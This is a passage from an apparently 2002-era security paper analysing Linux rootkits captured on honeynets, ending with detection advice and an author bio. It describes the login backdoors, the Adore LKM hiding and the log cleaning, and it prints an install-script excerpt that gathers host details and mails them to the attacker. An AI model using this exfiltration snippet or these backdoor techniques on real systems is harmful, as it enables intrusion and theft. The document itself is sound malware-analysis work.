"/sbin/initd". Before deployment, it checks for the presence of such file and removes it.

8. This completes the first subscript, and the control is returned to the main script only to
be given to another component: "move". This sub-script looks for other common rootkit
locations (/usr/bin/.etc , /usr/man/man1/".. "/.dir/, /dev/, /bin/vobiscum,
/usr/sbin/sshd3,
/lib/.so , /lib/.sso /usr/include/".. "/ /dev/kdx and many others) and cleans them up. In
addition, it tries to sweep for other running Trojans and execute a "kill" command on them.
Here is the example:

kill -9 `/sbin/pidof /usr/bin/ras2xm`

kill -9 `/sbin/pidof snif`

The script also searches some of the configuration files for some known other rootkits
components and attempts to clean them out as well. For example, it scans
/etc/rc.d/rc.sysinit for the presence of
/usr/bin/sourcemask, an apparent "innocuous-looking" name suitable for a Trojan. The
kit does a nice job eliminating the competing malware on the "captured" system.

Script also performs other cleanup actions such as killing squid proxy (often abused for
semi-anonymous access to web and FTP resources). In fact, the clean up is done on a
per-competing rootkit basis. For example, if "/usr/X11R6/include/X11/..." is present, than
perform
steps like 'kill -9 `/sbin/pidof /usr/sbin/sshd2` rm –rf /usr/sbin/sshd2' and also
'/usr/sbin/userdel system'. For other cases, other daemons are killed and files removed.

9. The final step of the "move" script is to disable anonymous FTP access ('echo
anonymous >> /etc/ftpusers ; echo ftp >> /etc/ftpusers'), turn off history and remove the
SUID root flag from
certain software (mostly RPC-related). This is done to make the system harder to exploit
from the network.

10. The script then returns to the main script and deploys a login backdoor, activated by
the magic "TERM" variable value. Telnet and ssh clients often set the value when
connection to a system. If the TERM is set to a predefined value known to a hacker, the
/bin/login program does not perform any authentication.
11. After this, the script creates its own home directory (/usr/bin/.zeen/".. "/) and deploys
its components in it. Those include log cleaning and hiding tools, several attack scanners,
many scripts for specific attacks (mostly more than one year old) and a nice set of Denial-
of-Service tools. It is interesting to note, that the scripts contain comments in at least
three different languages.

12. Then the script unpacks, compiles and deploys the adore LKM, that is used an
additional layer of hiding the components. Adore LKM is renamed and inserted into a
kernel where it self-hides.

13. Another subcomponent than launches and modifies the system configuration files to
execute various components on system start-up, from inittab, etc. The penetration is
rather complete within the whole /etc directory tree. Again, “offense-in-depth” is practiced
and for every desired functionality there are several components doing the job.

14. The script then composes emails to several email addresses with the following
information: victim’s IP address, hostname, machine type, logged in users (via “w”
command), ping to Yahoo! time (a good estimate of a quality of a network connection),
memory and CPU information. It even adds the port number where the backdoor SSH is
running.

Here is the appropriate excerpt to compose the email.

/sbin/ifconfig -a | grep inet >> /tmp/info

hostname -f >> /tmp/info
uname -a >> /tmp/info
w >> /tmp/info
cat /proc/meminfo >> /tmp/info
ping -c 6 yahoo.com >> /tmp/info
/sbin/route -n >> /tmp/info
echo "port 2006" >> /tmp/info
cat /tmp/info | mail -s "[MyBitch2006]" [email protected]
rm -f /tmp/info

It does a thorough job of success status reporting.

15. Nearing the end of the installation, the script cleans the logs from the predefined list of
key words, such as yahoo.con, ssh, initd (renamed SSHD), and a long series of IP
address classes, favored by the particular hacker.

17. Finally, the script patches the machine's standard SSHD daemon for a hole by
replacing it with the supplied SSHD version (same as used above for the backdoor
access). It remains to be seen whether there is another backdoor in the ssh code to
backup the high-port SSHD and /bin/login backdoor.
Overall, the rootkit presents a wild mix of technologies, programs and even cultures. It
does a relatively thorough job of penetrating the system so that a full rebuilt is the most
effective recovery option. Many more of the components are included but not discussed
due to lack of space. Many of them are not even used by default,

III. “Rk” -hidden but not enough

The “rk” kit was captured on a Linux honeynet in late 2002.

The kit appears to be one a custom mix of components. Here we list its distinctive feature
since the logic of the installation script and the composition of the kit is similar to the
previous one.

total 69
-rw-r--r-- 1 anton None 68286 Mar 19 2002 install
-rw-r--r-- 1 anton None 1848 Mar 15 2002 rk_config
drwxr-xr-x 2 anton None 0 Dec 16 19:07 smbfs
drwxr-xr-x 2 anton None 0 Dec 16 19:07 ssh
drwxr-xr-x 7 anton None 0 Dec 16 19:07 utils

I.Binary installation file install. The typical installation script was compiled into a binary
form. However, the “strings” command reveals most of the performed actions.
II.Adore LKM fully translated into Romanian. The installation script also announces
“This RootKit is made in Romania”. Adore is built on a victim system. However, if
no compiler (“gcc”) is available several prebuilt modules (for RedHat 7.0-7.2) are
available and are tried in order. If those fail, the regular binary trojans are deployed.
III.Its home directory location is “/var/run/radvd/hd”
IV.The kit installs an IRC bouncer muh, a tool to reroute IRC connections to hide
one’s true connection origin.
V.Extensive list of competing rootkits to be eliminated on the system. It dwarfs even
the coverage from the previous kit. One of the interesting hackers tools that the kits
searches for and eliminates is a SSH local sniffer (described in Part I)
VI.Among the perks that the rootkit has is a feature that adjusts the deployment of
components based on the detected Linux distribution. For example, some file
locations are used only if the system is a Debian GNU/Linux. Many Linux variants
are recognized
VII.The kit also boasts an impressive patching engine that actually goes to RedHat
FTP site and downloads updates appropriate for the victim distribution. System
hardening (such as SUID flag elimination from many files) is also performed
VIII.As a last step, the installation script emails information about the system similar
to above, but also including the /etc/shadow and /etc/passwd

The kit is an interesting combination of tools and seems like a well-polished intrusion
solution for amateur Linux attackers.

Conclusion
The paper looks at several common Linux rootkits. The reviewed kits do not use any of
the non-public tools and can all be discovered by host-based integrity checking tools such
as a latest Tripwire. Even though the Adore LKM makes an attempt to hide from integrity
checking software, Tripwire uses a different system call to access the file system that
Adore does not remap (see references in Part II for details). However, the most effective
way to recover after a compromise involving those kits is a full system reinstall, since
some kit components may always be missed. For example, Tripwire might not be set to
look at the cgi-bin directory and then one backdoor will be missed.

It is apparent that more advanced rootkits exist in the wild, however those are not often
captured on Internet exposed honeypots when no special effort is done to “select” more
advanced attackers.

ABOUT THE AUTHOR:

This is an updated author bio, added to the paper at the time of reposting in 2009.

Dr. Anton Chuvakin (http://www.chuvakin.org) is a recognized security expert in the field of

log management and PCI DSS compliance. He is an author of books "Security Warrior"
and "PCI Compliance" and a contributor to "Know Your Enemy II", "Information Security
Management Handbook" and others. Anton has published dozens of papers on log
management, correlation, data analysis, PCI DSS, security management (see list
www.info-secure.org) . His blog http://www.securitywarrior.org is one of the most popular
in the industry.

In addition, Anton teaches classes and presents at many security conferences across the
world; he recently addressed audiences in United States, UK, Singapore, Spain, Russia
and other countries. He works on emerging security standards and serves on the
advisory boards of several security start-ups.

Currently, Anton is developing his security consulting practice

www.securitywarriorconsulting.com, focusing on logging and PCI DSS compliance for
security vendors and Fortune 500 organizations. Dr. Anton Chuvakin was formerly a
Director of PCI Compliance Solutions at Qualys. Previously, Anton worked at LogLogic as
a Chief Logging Evangelist, tasked with educating the world about the importance of
logging for security, compliance and operations. Before LogLogic, Anton was employed by
a security vendor in a strategic product management role. Anton earned his Ph.D. degree
from Stony Brook University.